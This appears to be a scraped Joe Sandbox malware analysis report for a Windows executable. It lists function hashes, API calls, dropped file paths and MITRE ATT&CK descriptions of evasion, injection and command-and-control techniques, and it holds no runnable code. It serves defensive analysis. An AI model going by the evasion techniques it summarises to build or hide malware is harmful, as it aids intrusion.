Opcode Fuzzy Hash: cad1fee570528055bb4f840757e41c2b2d093a40416f1971c342fc3ba500c074
Instruction Fuzzy Hash: 05D0C773409DB05EF30362259C04B9F6A98DF17700F094466E580E6191C6789D518BAE

Function 100010E0 Relevance: 5.1, APIs: 4, Instructions: 102memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 1000115B
GlobalFree.KERNEL32(00000000), ref: 100011B4
GlobalFree.KERNEL32(?), ref: 100011C7
GlobalFree.KERNEL32(?), ref: 100011F5

Memory Dump Source

Source File: 00000000.00000002.13435297109.0000000010001000.00000020.00000001.01000000.00000005.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.13435257498.0000000010000000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435328393.0000000010003000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000000.00000002.13435360317.0000000010005000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_nRNzqQOQwk.jbxd

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction ID: 5d3a3765e571093bf703368c32e31ec5bfeafbef09712c331e02e9e13643e521
Opcode Fuzzy Hash: 6ef9e3687ab983c99c874163fdcc0ee6cc2800f994ca68b8431a209e6fec97f5
Instruction Fuzzy Hash: 6531ABB1808255AFF715CFA8DC89AEA7FE8EB052C1B164115FA45D726CDB34D910CB24

Function 00405978 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405BD5,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405988
lstrcmpiA.KERNEL32(00000000,00000000), ref: 004059A0
CharNextA.USER32(00000000,?,00000000,00405BD5,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059B1
lstrlenA.KERNEL32(00000000,?,00000000,00405BD5,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 004059BA

Memory Dump Source

Source File: 00000000.00000002.13417534408.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.13417502270.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417566610.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000077F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000784000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.0000000000787000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.000000000079F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007A8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13417599154.00000000007C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007C5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007D3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007DC000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.13418225620.00000000007E2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_nRNzqQOQwk.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction ID: 2b31bcc4a158946671b74a97661090b9e56dbbcbef6738157e9c676b7350d0db
Opcode Fuzzy Hash: d250403eeccc32afa1460bd507a63d74f6ad2c43926490d4129708a4008c1f50
Instruction Fuzzy Hash: 7DF0C272515518FFCB029FA5DC00D9EBBA8EF16360B2540AAF800F7310D274EE019BA9

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report nRNzqQOQwk.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Fljtenists.ini

C:\Users\user\AppData\Local\Temp\nsj1A28.tmp\System.dll

C:\Users\user\slavelivets\Frimenigheders.Lin

C:\Users\user\slavelivets\Tonsillary252.Ban

C:\Users\user\slavelivets\alsmekill.sta

C:\Users\user\slavelivets\boat.ast

C:\Users\user\slavelivets\rupis.txt

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Windows Analysis Report
nRNzqQOQwk.exe

Function 00403180 Relevance: 93.1, APIs: 33, Strings: 20, Instructions: 357
stringcomfileCOMMON

Function 00405DC2 Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 199
stringCOMMON

Function 00405642 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 159
filestringCOMMON

Function 00402B0E Relevance: 7.6, APIs: 5, Instructions: 67
registryCOMMON

Function 00403720 Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402CFA Relevance: 28.2, APIs: 5, Strings: 11, Instructions: 182
COMMON

Function 00401759 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 0040547F Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39
COMMON

Function 00401D95 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 43
COMMON

Function 004060CB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 00402F33 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Function 004023D3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 73
registrystringCOMMON

Function 00405A42 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
COMMON

Function 100016BD Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Function 00405900 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
stringCOMMON